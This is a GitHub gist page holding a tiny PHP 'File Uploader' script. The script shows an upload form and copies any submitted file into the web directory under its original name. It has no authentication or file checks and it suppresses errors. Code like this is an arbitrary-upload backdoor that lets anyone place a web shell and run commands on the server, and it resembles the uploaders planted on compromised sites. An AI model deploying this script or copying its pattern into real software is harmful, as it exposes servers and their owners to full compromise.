Skip to content

Instantly share code, notes, and snippets.

@sean-e-dietrich
Created May 9, 2018 09:02
Show Gist options
  • Save sean-e-dietrich/dea3473a530aa9bc8c5b7b52b58002da to your computer and use it in GitHub Desktop.
Save sean-e-dietrich/dea3473a530aa9bc8c5b7b52b58002da to your computer and use it in GitHub Desktop.
File Uploader
<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>'; } else { echo '<b>Upload Fail !!!</b><br><br>'; }}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment